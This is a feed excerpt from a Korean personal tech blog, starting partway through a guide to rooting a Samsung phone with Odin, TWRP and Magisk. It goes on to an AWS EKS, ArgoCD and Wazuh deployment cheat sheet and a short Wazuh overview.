&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;7. 이후 ordin 프로그램을 실행한뒤 휴대폰을 노트북과 usb로 연결하게 되면 &lt;span style=&quot;font-family: 'Noto Serif KR'; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Serif KR'; color: #006dd7; text-align: start;&quot;&gt;Added!&lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Serif KR'; color: #333333; text-align: start;&quot;&gt;라는 문구가 나온다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;8.AP를 선택하여 다음과 같이 아까 다운받은&amp;nbsp; CF-Auto-Root........tar.md5&amp;nbsp; 파일을 선택해준다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3lxCb/btsCOEkQpkj/8ont7MxW1fQ39nI3d2Rwkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3lxCb/btsCOEkQpkj/8ont7MxW1fQ39nI3d2Rwkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3lxCb/btsCOEkQpkj/8ont7MxW1fQ39nI3d2Rwkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3lxCb%2FbtsCOEkQpkj%2F8ont7MxW1fQ39nI3d2Rwkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;248&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;248&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. start를 눌러 루팅을 진행하고 다음과 같이 진행한다. 이때 폰은 초기화 해야할수 있으니 백업을 해둬야한다면 미리 진행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rOSQF/btsCMnjCbtM/EOiBJWfMfZQCiKMSV5dIOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rOSQF/btsCMnjCbtM/EOiBJWfMfZQCiKMSV5dIOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rOSQF/btsCMnjCbtM/EOiBJWfMfZQCiKMSV5dIOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrOSQF%2FbtsCMnjCbtM%2FEOiBJWfMfZQCiKMSV5dIOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1337&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. SuperSU 앱이 설치되어 있다면 성공한것이며 정확히는 USB 연결후 ADB로 접근하여 SU를 입력했을때 오류없이 root 모드로 진입된다면 성공한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;twrp&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CF-Auto-Root 는 Android 7 까지만 지원이 된다고 하며 원하는 펌웨어가 존제하지 않을 수 있다. 이때는 twrp 루팅을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR'; color: #333333; text-align: start;&quot;&gt;* 참고 사이트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://m.blog.naver.com/okydoky0/222741847428&quot;&gt;https://m.blog.naver.com/okydoky0/222741847428&lt;/a&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;사전 준비&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;ordin 실행 파일을 다운 받는다.&lt;/li&gt;
&lt;li&gt;일단 twrp파일을 다운받는다.&lt;/li&gt;
&lt;li&gt;magisk를 다운 받는다.&lt;/li&gt;
&lt;li&gt;Disable_Dm-Verity_ForceEncrypt_03.04.2020.zip 을 다운 받는다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;진행&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 스마트폰을 usb로 연결한다음 디버그 모드와 oem 모드로 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 이어서 &lt;b&gt;볼륨- / 빅스비 / 전원 을 눌러 다운로드 모드에 진입하고 + 버튼을 누른다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. ordin 실행 파일을 통해 ap에 twrp 파일을 넣은뒤 start해주는데 주의 할점이 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;start 되면서 바로 핸드폰이 재부팅 되는데 이때 바로 볼륨+ / 빅스비 / 전원&amp;nbsp;버튼 3개를 동시에 눌러서 TWRP에 진입해야한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 이것을 좀더 편하게? 하는 방법은 이렇게 ordin 옵션 체크들을 해지하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;start 버튼을 누른뒤 &lt;b&gt;볼륨&lt;/b&gt;- &lt;b&gt;/ 전원 버튼을 누르면 재부팅 되는데 이때 볼륨+ / 빅스비 / 전원&lt;/b&gt;&amp;nbsp;버튼 3개를 누르는 방법도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 이어서 twrp 모드에 진입했으면 swipe로 첫 화면을 넘기고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5, wipe &amp;rarr; format data &amp;rarr; yes 입력 &amp;rarr; swipe 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 이후 홈버튼으로 화면을 빠져나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;* 이때 실수로홈버튼이 아닌 reboot을 누르면 다시 처음부터 해야하니 조심하자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 이어서 준비된 Disable_Dm-Verity_ForceEncrypt_03.04.2020 파일과 Magisk-v20.1 파일을 옮겨준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfnSNj/btsCOEE8US7/rwWzKXowdD1TFjCaudODhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfnSNj/btsCOEE8US7/rwWzKXowdD1TFjCaudODhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfnSNj/btsCOEE8US7/rwWzKXowdD1TFjCaudODhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfnSNj%2FbtsCOEE8US7%2FrwWzKXowdD1TFjCaudODhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;467&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 이후 홈 화면에서 install을 누르면 sd 화면으로 가는데 여기서 Disable_Dm-Verity_ForceEncrypt_03.04.2020 을 설치해주자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. 이어서 같은 방법으로 Magisk-v20.1 도 설치 하자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. 이후 여기서는 reboot system을 눌러주자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 다시 초기화된 상태가 되며 초기 설정을 해줘야 한다. 이때 부팅 과정에서 로고로딩이 엄청 기니까 참을성을 가지고 기다리자 잘못된게 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 화면에 Magisk가 깔려있다면 루팅 성공 확실한건 ADB SHELL을 한뒤 SU가 되면 루팅된거다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx3BmK/btsCP35MKTY/xj6e5rDHvhuZ4UhrHzFKRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx3BmK/btsCP35MKTY/xj6e5rDHvhuZ4UhrHzFKRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx3BmK/btsCP35MKTY/xj6e5rDHvhuZ4UhrHzFKRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx3BmK%2FbtsCP35MKTY%2Fxj6e5rDHvhuZ4UhrHzFKRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;100&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;삽질&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;INSTALL 과정에서 내부 파일들이 다 0MB로 나와있다면 아래 영상으로 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 설치도중 /data가 마운트 안된다는 오류도 이 유트브를 보고 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.google.com/search?q=twrp+failed+to+mount&amp;amp;oq=twrp+faild+to+&amp;amp;aqs=chrome.1.69i57j0i13i512l8j0i13i30.9365j0j7&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8#fpstate=ive&amp;amp;vld=cid:6317cde0,vid:T-7neHzSIvc&quot;&gt;https://www.google.com/search?q=twrp+failed+to+mount&amp;amp;oq=twrp+faild+to+&amp;amp;aqs=chrome.1.69i57j0i13i512l8j0i13i30.9365j0j7&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8#fpstate=ive&amp;amp;vld=cid:6317cde0,vid:T-7neHzSIvc&lt;/a&gt;&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/198</guid>
      <comments>https://wpgur.tistory.com/198#entry198comment</comments>
      <pubDate>Thu, 28 Dec 2023 16:37:51 +0900</pubDate>
    </item>
    <item>
      <title>EKS 환경 구축 총정리</title>
      <link>https://wpgur.tistory.com/196</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;환경 구축(배포 파일 )다운로드&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://drive.google.com/file/d/12DUfbE0nuqsKrP5Rz2IfYHiat9dTbUdH/view?usp=sharing&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://drive.google.com/file/d/12DUfbE0nuqsKrP5Rz2IfYHiat9dTbUdH/view?usp=sharing&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;terraform 실행&lt;/h2&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;cd eks-terraform-final

terraform init
terraform plan 
terraform apply &amp;rarr;&amp;lt; yes
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;로드밸런스 설치&lt;/h2&gt;
&lt;pre class=&quot;dsconfig&quot;&gt;&lt;code&gt;@REM aws-auth ------------------

eksctl create iamidentitymapping  --cluster eks-JaeHyuk --arn arn:aws:iam::871065065486:user/JaeHyuk --username JaeHyuk  --group system:masters

@REM 인그레스 컨트롤러 만들기 -----------------------------------------------------
cd script\\ingrass

aws eks update-kubeconfig --region us-east-2   --name eks-JaeHyuk 
eksctl utils associate-iam-oidc-provider  --region us-east-2   --cluster eks-JaeHyuk  --approve

aws iam create-policy   --policy-name AWSLoadBalancerControllerIAMPolicy  --policy-document file://iam_policy.json

eksctl create iamserviceaccount   --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller  --attach-policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts  --approve 

kubectl apply -f cert-manager.yaml 
kubectl apply -f v2_5_4_full.yaml 
kubectl apply -f v2_5_4_ingclass.yaml 

kubectl get deployment -n kube-system aws-load-balancer-controller 
kubectl get sa aws-load-balancer-controller -n kube-system -o yaml 

cd ../../
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  리소스 충돌시 삭제후 재설치&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot;&gt;&lt;code&gt;cd script\\ingrass

@REM 삭제
kubectl delete -f v2_5_4_ingclass.yaml
kubectl delete -f v2_5_4_full.yaml
kubectl delete -f cert-manager.yaml

eksctl delete iamserviceaccount  --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller
aws iam delete-policy  --policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy

@REM 재설치

eksctl utils associate-iam-oidc-provider  --region us-east-2   --cluster eks-JaeHyuk  --approve

aws iam create-policy   --policy-name AWSLoadBalancerControllerIAMPolicy  --policy-document file://iam_policy.json

eksctl create iamserviceaccount   --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller  --attach-policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts  --approve 

kubectl apply -f cert-manager.yaml 
kubectl apply -f v2_5_4_full.yaml 
kubectl apply -f v2_5_4_ingclass.yaml 

kubectl get deployment -n kube-system aws-load-balancer-controller 
kubectl get sa aws-load-balancer-controller -n kube-system -o yaml 

cd ../../
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;서비스 설치&lt;/h2&gt;
&lt;pre class=&quot;dos&quot;&gt;&lt;code&gt;@REM 서비스 배포 ----------------------------------------------------------------------

aws eks update-kubeconfig --region us-east-2 --name eks-JaeHyuk

cd JUNGSINT\\manifest

kubectl apply -f flask-deployment.yaml
kubectl apply -f flask-service.yaml
kubectl apply -f flask-ingress.yaml

kubectl get pods -A
kubectl get services -A

powershell -Command &quot;echo &amp;lt;http://$&amp;gt;(kubectl get ingress/osint-flask-ingress -o jsonpath='{.status.loadBalancer.ingress[*].hostname}')/&quot;

cd ../
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;mysql db 세팅&lt;/h2&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;cd JUNGSINT\\manifest\\mysql

kubectl apply -f db-pv.yaml
kubectl apply -f db-storagelass.yaml
kubectl apply -f db-statefulset.yaml
kubectl apply -f db-service.yaml

kubectl get pods -A
kubectl get services -A
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;argocd 세팅&lt;/h2&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;kubectl create namespace argocd
kubectl apply -n argocd -f &amp;lt;https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;scilab&quot;&gt;&lt;code&gt;kubectl patch svc argocd-server -n argocd --type='json' -p='[{&quot;op&quot;: &quot;replace&quot;, &quot;path&quot;: &quot;/spec/type&quot;, &quot;value&quot;: &quot;LoadBalancer&quot;}]'
kubectl -n argocd get all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;argocd passwd 확인

kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath=&quot;{.data.password}&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;argocd setting&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ArgoCD Application 생성&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;jenkins -trivy 세팅&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;젠킨스 서버 생성&lt;/li&gt;
&lt;li&gt;젠킨스 실행 / 설정&lt;/li&gt;
&lt;li&gt;trivy 설치&lt;/li&gt;
&lt;li&gt;플러그인 다운로드&lt;/li&gt;
&lt;li&gt;credential 생성
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Jenkins와 Github 연동&lt;/li&gt;
&lt;li&gt;AWS ECR에 접근하기 위한 Credential&lt;/li&gt;
&lt;li&gt;slack 연결&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;pipeline 생성&lt;/li&gt;
&lt;li&gt;jenkinsfile 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;wazuh 세팅&lt;/h2&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ git clone &amp;lt;https://github.com/wazuh/wazuh-kubernetes.git&amp;gt;
$ cd wazuh-kubernetes
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;wazuh/certs/indexer_cluster/generate_certs.sh
wazuh/certs/dashboard_http/generate_certs.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;코드수정 &amp;amp; 환경 설정&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;리소스 정리&lt;/h2&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot;&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;EC2 &amp;gt; 로드밸런스 삭제&lt;/li&gt;
&lt;li&gt;EC2 &amp;gt; 대상 그룹 삭제&lt;/li&gt;
&lt;li&gt;스크립트 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;5549013b-b0fc-4be1-b16a-66aa26b6a7e2&quot; class=&quot;properties&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot;&gt;&lt;code&gt;cd script\ingrass

eksctl delete iamserviceaccount  --cluster eks-JaeHyuk  --namespace kube-system  --name aws-load-balancer-controller
aws iam delete-policy  --policy-arn arn:aws:iam::871065065486:policy/AWSLoadBalancerControllerIAMPolicy
eksctl utils disassociate-iam-oidc-provider  --region us-east-2  --cluster eks-JaeHyu

kubectl delete -f cert-manager.yaml 
kubectl delete -f v2_5_4_ingclass.yaml
kubectl delete -f v2_5_4_full.yaml

cd ..\..\JUNGSINT\manifest

kubectl delete -f flask-deployment.yaml
kubectl delete -f flask-service.yaml
kubectl delete -f flask-ingress.yaml

cd mysql

kubectl delete -f db-pv.yaml
kubectl delete -f db-service.yaml
kubectl delete -f db-statefulset.yaml
kubectl delete -f db-storagelass.yaml

cd ..\wazuh-kubernetes

kubectl delete -k envs/eks/


cd ../../../


terraform destroy -auto-approve&lt;/code&gt;&lt;/pre&gt;
&lt;p id=&quot;16d2a5df-02ae-41dd-90ca-1df1f99c2190&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;a4b90c34-255e-48b6-9ad1-df9d5b535040&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;6f0176b7-3bdd-44e8-abb6-05d7b0d050de&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol id=&quot;e12bea9f-f2e1-4d67-bd8a-df3560e1c97b&quot; style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;vpc 삭제&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
      <category>DevOps</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/196</guid>
      <comments>https://wpgur.tistory.com/196#entry196comment</comments>
      <pubDate>Mon, 18 Dec 2023 23:43:28 +0900</pubDate>
    </item>
    <item>
      <title>Wazuh</title>
      <link>https://wpgur.tistory.com/195</link>
      <description>&lt;h1&gt;Wazuh&lt;/h1&gt;
&lt;h1&gt;wazuh란&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@jhly/What-is-Wazuh-2ktn64p8&quot;&gt;https://velog.io/@jhly/What-is-Wazuh-2ktn64p8&lt;/a&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;XDR 및 SIEM 기능을 통합하는 무료 오픈 소스 보안 플랫폼&lt;/li&gt;
&lt;li&gt;온프레미스, 가상화, 컨테이너화된 클라우드 기반 환경에서 시스템 보호 가능&lt;/li&gt;
&lt;li&gt;Wazuh는 세 개의 중앙 플랫폼 구성 요소와 단일 범용 에이전트 구성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1951&quot; data-origin-height=&quot;1026&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5vj5U/btsCc4dVrq3/69WApcgl0A0A9lG1BmTPkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5vj5U/btsCc4dVrq3/69WApcgl0A0A9lG1BmTPkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5vj5U/btsCc4dVrq3/69WApcgl0A0A9lG1BmTPkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5vj5U%2FbtsCc4dVrq3%2F69WApcgl0A0A9lG1BmTPkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1951&quot; height=&quot;1026&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1951&quot; data-origin-height=&quot;1026&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Wazuh는 총 3가지 서버 사이드 구성요소와 클라이언트 사이드의 에이전트로 구성되어진다.&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Wazuh 인덱서(Indexer)확장성이 뛰어난 전체 텍스트 검색 및 분석 엔진이며, Wazuh 서버에서 생성된 알림을 색인하고 저장한다.&lt;/li&gt;
&lt;li&gt;Wazuh 서버(Server)에이전트로부터 받은 데이터를 분석하여, 디코더와 규칙을 통해 데이터를 처리하여 보안 이벤트를 생성하며, 또한 에이전트를 관리, 원격 구성/업그레이드 하는데 사용한다.&lt;/li&gt;
&lt;li&gt;Wazuh 대시보드(Dashboard)데이터 시각화 및 분석을 위한 웹 사용자 인터페이스이며, Wazuh 구성을 관리하고 상태를 모니터링 하는데 사용한다.&lt;b&gt;(보안이벤트, 컴플라이언스, CVE, 파일 무결성 모니터링 등 기본 제공 대시보드 포함)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Wazuh 에이전트(Agent)엔드포인트에 설치되며, 위협 예방, 탐지 및 대응 기능을 제공한다.&lt;b&gt;(Linux, Windows, macOS, Solaris, AIX, HP-UX 지원)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;기본 파일 설치 및 가이드&lt;/h1&gt;
&lt;aside&gt;  와주는 elk 스택 즉 elastic search와 함께쓰이는 경우가 많이 있지만 다음은 해당기능이 없는 설치 가이드이다.&lt;/aside&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html&quot;&gt;https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/wazuh/wazuh-kubernetes/blob/master/instructions.md&quot;&gt;https://github.com/wazuh/wazuh-kubernetes/blob/master/instructions.md&lt;/a&gt;&lt;/p&gt;
